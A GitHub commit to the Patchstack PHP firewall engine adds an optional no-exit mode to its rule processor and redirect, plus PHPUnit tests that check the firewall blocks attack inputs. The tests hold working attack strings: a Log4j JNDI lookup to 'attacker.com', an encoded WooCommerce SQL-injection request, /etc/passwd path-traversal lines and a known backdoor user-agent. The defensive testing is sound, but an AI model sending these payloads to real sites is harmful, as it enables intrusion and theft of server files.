Skip to content

Commit de6071e

Browse files
committed
Some minor core engine changes. Added a bunch of tests to test different XSS, SQLI, LFI and WordPress specific payloads.
1 parent 45458e9 commit de6071e

7 files changed

Lines changed: 1633 additions & 19 deletions

File tree

src/Processor.php

Lines changed: 10 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -188,10 +188,11 @@ public function launch()
188188

189189
/**
190190
* The legacy firewall processor will only iterate over the general firewall rules.
191+
* Returns true if all rules were passed. False if any rule was hit.
191192
*
192193
* @return boolean
193194
*/
194-
public function legacyProcessor()
195+
public function legacyProcessor($mustExit = true)
195196
{
196197
// Obtain the IP address and request data.
197198
$client_ip = $this->extension->getIpAddress();
@@ -266,13 +267,18 @@ function ($o, $p) {
266267
if ($blocked_count >= $count_rules) {
267268
if ($rule_terms->type == 'BLOCK') {
268269
$this->extension->logRequest($firewall_rule['id'], $request, 'BLOCK');
269-
$this->extension->forceExit($firewall_rule['id']);
270+
271+
// Do we have to exit the page or simply return false?
272+
if($mustExit){
273+
$this->extension->forceExit($firewall_rule['id']);
274+
}else{
275+
return false;
276+
}
270277
} elseif ($rule_terms->type == 'LOG') {
271278
$this->extension->logRequest($firewall_rule['id'], $request, 'LOG');
272279
} elseif ($rule_terms->type == 'REDIRECT') {
273280
$this->extension->logRequest($firewall_rule['id'], $request, 'REDIRECT');
274-
$this->response->redirect($rule_terms->type_params);
275-
exit;
281+
$this->response->redirect($rule_terms->type_params, $mustExit);
276282
}
277283
}
278284
}

src/Response.php

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -24,12 +24,12 @@ public function __construct($options = array())
2424

2525
/**
2626
* Perform a redirect if the request must be redirected to somewhere else.
27-
* The caller should exit the script.
2827
*
2928
* @param string $redirectTo
29+
* @param boolean $mustExit
3030
* @return void
3131
*/
32-
public function redirect($redirectTo)
32+
public function redirect($redirectTo = '', $mustExit = true)
3333
{
3434
// Don't redirect an invalid URL.
3535
if (!$redirectTo || filter_var($redirectTo, FILTER_VALIDATE_URL) === false) {
@@ -38,5 +38,10 @@ public function redirect($redirectTo)
3838

3939
// Perform the redirect.
4040
header('Location: ' . $redirectTo, true, 302);
41+
42+
// In some scenarios we might want to control if the script should exit executing.
43+
if ($mustExit) {
44+
exit;
45+
}
4146
}
4247
}

tests/FirewallLegacyTest.php

Lines changed: 106 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,5 @@
11
<?php declare(strict_types=1);
22
use PHPUnit\Framework\TestCase;
3-
43
use Patchstack\Processor;
54
use Patchstack\Extensions\Test\Extension;
65

@@ -18,6 +17,8 @@ final class FirewallLegacyTest extends TestCase
1817

1918
/**
2019
* Setup the test for testing the header location redirect.
20+
*
21+
* @return void
2122
*/
2223
protected function setUp(): void
2324
{
@@ -28,6 +29,7 @@ protected function setUp(): void
2829
* Setup the firewall processor.
2930
*
3031
* @param array $rules
32+
* @return void
3133
*/
3234
private function setUpFirewallProcessor(array $rules)
3335
{
@@ -41,8 +43,12 @@ private function setUpFirewallProcessor(array $rules)
4143

4244
/**
4345
* Alters the payload between tests.
46+
* For most firewall rules there's no difference if testing against GET or POST.
47+
* Therefore, both can be used for testing payloads.
48+
*
49+
* @return void
4450
*/
45-
private function alterPayload(array $payload)
51+
private function alterPayload(array $payload = [])
4652
{
4753
$_POST = [];
4854
$_GET = [];
@@ -53,6 +59,8 @@ private function alterPayload(array $payload)
5359

5460
/**
5561
* Testing all firewall rules with no payload should result nothing.
62+
*
63+
* @return void
5664
*/
5765
public function testAllRules()
5866
{
@@ -62,16 +70,109 @@ public function testAllRules()
6270

6371
/**
6472
* Test different cross-site scripting attacks.
73+
*
74+
* @return void
6575
*/
6676
public function testXSS()
6777
{
6878
$this->setUpFirewallProcessor($this->rules);
6979

70-
// Basic JavaScript alert through a GET parameter.
80+
// Load list of about 1000 XSS payloads.
81+
$payloads = file_get_contents(dirname(__FILE__) . '/data/PayloadsXSS.txt');
82+
$payloads = explode("\n", $payloads);
83+
foreach($payloads as $payload){
84+
if(trim($payload) == ''){
85+
continue;
86+
}
87+
88+
$this->alterPayload(['GET' => [
89+
'q' => $payload
90+
]]);
91+
$this->assertFalse($this->processor->legacyProcessor(false), 'Testing XSS failed with payload: ' . $payload);
92+
}
93+
}
94+
95+
/**
96+
* Test different SQL injection attacks.
97+
*
98+
* @return void
99+
*/
100+
public function testSQLI()
101+
{
102+
$this->setUpFirewallProcessor($this->rules);
103+
104+
// Load list of about 1000 XSS payloads.
105+
$payloads = file_get_contents(dirname(__FILE__) . '/data/PayloadsSQLI.txt');
106+
$payloads = explode("\n", $payloads);
107+
foreach($payloads as $payload){
108+
if(trim($payload) == ''){
109+
continue;
110+
}
111+
112+
$this->alterPayload(['GET' => [
113+
'q' => $payload
114+
]]);
115+
$this->assertFalse($this->processor->legacyProcessor(false), 'Testing SQLI failed with payload: ' . $payload);
116+
}
117+
}
118+
119+
/**
120+
* Test different local file inclusion attacks.
121+
*
122+
* @return void
123+
*/
124+
public function testLFI()
125+
{
126+
$this->setUpFirewallProcessor($this->rules);
127+
128+
// Load list of about 1000 XSS payloads.
129+
$payloads = file_get_contents(dirname(__FILE__) . '/data/PayloadsLFI.txt');
130+
$payloads = explode("\n", $payloads);
131+
foreach($payloads as $payload){
132+
if(trim($payload) == ''){
133+
continue;
134+
}
135+
136+
$this->alterPayload(['GET' => [
137+
'q' => $payload
138+
]]);
139+
$this->assertFalse($this->processor->legacyProcessor(false), 'Testing LFI failed with payload: ' . $payload);
140+
}
141+
}
142+
143+
/**
144+
* Test different WordPress specific attacks.
145+
*
146+
* @return void
147+
*/
148+
public function testWordPressSpecific()
149+
{
150+
$this->setUpFirewallProcessor($this->rules);
151+
152+
// Block Freemius vulnerability through action method.
71153
$this->alterPayload(['GET' => [
72-
'q' => '<script>alert(1)</script>'
154+
'action' => 'fs_retry_connectivity_test_'
73155
]]);
74-
$this->processor->legacyProcessor();
156+
$this->assertFalse($this->processor->legacyProcessor(false));
157+
158+
// Block AccessPress backdoor through user-agent.
159+
$_SERVER['HTTP_USER_AGENT'] = 'wp_is_mobile';
160+
$this->alterPayload();
161+
$this->assertFalse($this->processor->legacyProcessor(false));
162+
$_SERVER['HTTP_USER_AGENT'] = '';
163+
164+
// Block Apache Log4j vulnerability.
165+
$this->alterPayload([
166+
'GET' => [
167+
'q' => '${jndi:ldap://attacker.com/reference}'
168+
]
169+
]);
170+
$this->assertFalse($this->processor->legacyProcessor(false));
75171

172+
// Block WooCommerce SQL injection.
173+
$this->alterPayload();
174+
$_SERVER['REQUEST_URI'] = '/wp-json/wc/store/products/collection-data?calculate_attribute_counts\[\]\[query_type\]=and&calculate_attribute_counts\[\]\[taxonomy\]=poc%252522%252529%252520OR%252520SLEEP%2525281%252529%252523';
175+
$this->assertFalse($this->processor->legacyProcessor(false));
176+
$_SERVER['REQUEST_URI'] = '';
76177
}
77178
}

tests/ResponseTest.php

Lines changed: 14 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,8 @@ final class ResponseTest extends TestCase
88

99
/**
1010
* Setup the test for testing the header location redirect.
11+
*
12+
* @return void
1113
*/
1214
protected function setUp(): void
1315
{
@@ -22,23 +24,25 @@ protected function setUp(): void
2224

2325
/**
2426
* Test a redirect with a valid URL.
27+
*
28+
* @return void
2529
*/
2630
public function testRedirectSuccess()
2731
{
2832
try {
29-
$this->app->redirect('https://www.amazon.com');
33+
$this->app->redirect('https://www.amazon.com', true);
3034
} catch(\Exception $e) {
3135
$this->assertEquals($e->getMessage(), 'https://www.amazon.com');
3236
}
3337

3438
try {
35-
$this->app->redirect('https://www.google.com');
39+
$this->app->redirect('https://www.google.com', true);
3640
} catch(\Exception $e) {
3741
$this->assertEquals($e->getMessage(), 'https://www.google.com');
3842
}
3943

4044
try {
41-
$this->app->redirect('https://1.1.1.1');
45+
$this->app->redirect('https://1.1.1.1', true);
4246
} catch(\Exception $e) {
4347
$this->assertEquals($e->getMessage(), 'https://1.1.1.1');
4448
}
@@ -47,15 +51,17 @@ public function testRedirectSuccess()
4751
/**
4852
* Test a redirect which has an invalid URL.
4953
* Since users can supply this redirect URL, we'd want to check it on the client side too.
54+
*
55+
* @return void
5056
*/
5157
public function testRedirectFailure()
5258
{
5359
$response = new Response();
5460

55-
$this->assertEquals($response->redirect('https//patchstack.com'), false);
56-
$this->assertEquals($response->redirect('https:/patchstackcom'), false);
57-
$this->assertEquals($response->redirect('$TOJ34r8tq94ht'), false);
58-
$this->assertEquals($response->redirect('123.123.123'), false);
59-
$this->assertEquals($response->redirect(' '), false);
61+
$this->assertEquals($response->redirect('https//patchstack.com', true), false);
62+
$this->assertEquals($response->redirect('https:/patchstackcom', true), false);
63+
$this->assertEquals($response->redirect('$TOJ34r8tq94ht', true), false);
64+
$this->assertEquals($response->redirect('123.123.123', true), false);
65+
$this->assertEquals($response->redirect(' ', true), false);
6066
}
6167
}

tests/data/PayloadsLFI.txt

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
utils/scripts/../../../../../etc/passwd
2+
a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\.\.
3+
a/../../../../../../../../../etc/passwd/./././././.
4+
....//....//etc/passwd
5+
..///////..////..//////etc/passwd
6+
/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
7+
/var/www/../../etc/passwd
8+
../../etc/passwd

0 commit comments

Comments
 (0)